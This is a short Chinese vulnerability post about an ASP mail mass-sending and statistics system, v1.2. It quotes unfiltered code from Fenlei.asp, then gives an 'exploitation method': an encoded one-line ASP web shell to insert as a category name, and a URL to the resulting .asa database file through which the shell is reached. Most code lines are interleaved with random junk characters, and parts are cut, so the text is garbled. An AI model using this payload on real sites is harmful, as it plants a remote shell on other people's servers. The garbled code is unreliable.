铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp

; H+ O) t+ o+ X" XIF Request.QueryString("Action")="del" Then
$ n. Y0 S! V8 h% P" a3 RID=Request.QueryString("ID")
3 a+ W# w: D* V6 }; X3 l5 }IF Countss ("tui","Fenlei",ID )<>0 then
'略
' K+ u% z! N0 z: GIF Request.QueryString("Action")="Add" Then
Tname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
; L1 c: a0 q3 p# R0 E  RSql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
Rs.Addnew
Rs("Typename")=Tname
'略
+ V" G) k: J+ C- ^% \# m: k2 fSet Rs=Server.CreateObject("adodb.Recordset")
. Q' A0 o  ^8 |5 k+ U; C# ISql="Select * From Fenlei Order by id Desc "
- l- G9 v1 v6 j" Z' c5 {; i" x0 B. l9 jRs.Open Sql,Conn,1,1
( {# t& [7 \& A) u) g8 q'略
& t* K! b4 s+ N6 Q9 d. g' w%>
. l& i/ I5 _* |( E$ a
& ]6 n9 W: M$ i. Q: S0 G7 o
5 z+ T$ {6 R& z4 _1 B  k
没有过滤，直接写入数据库。
4 V+ f; r3 K* j  h6 H) a9 t
利用方法：

  K! o! w+ |  w插入：┼攠數畣整爠煥敵瑳∨≡┩>


+ r5 o# _& t8 {& Z2 ~连接： http://www.xxx.com/###tongbaner.asa
2 U5 _, T7 S; V& ^3 G9 N'默认安装文件：
'install.asp
* b' N" @/ O1 d  P+ }7 S* |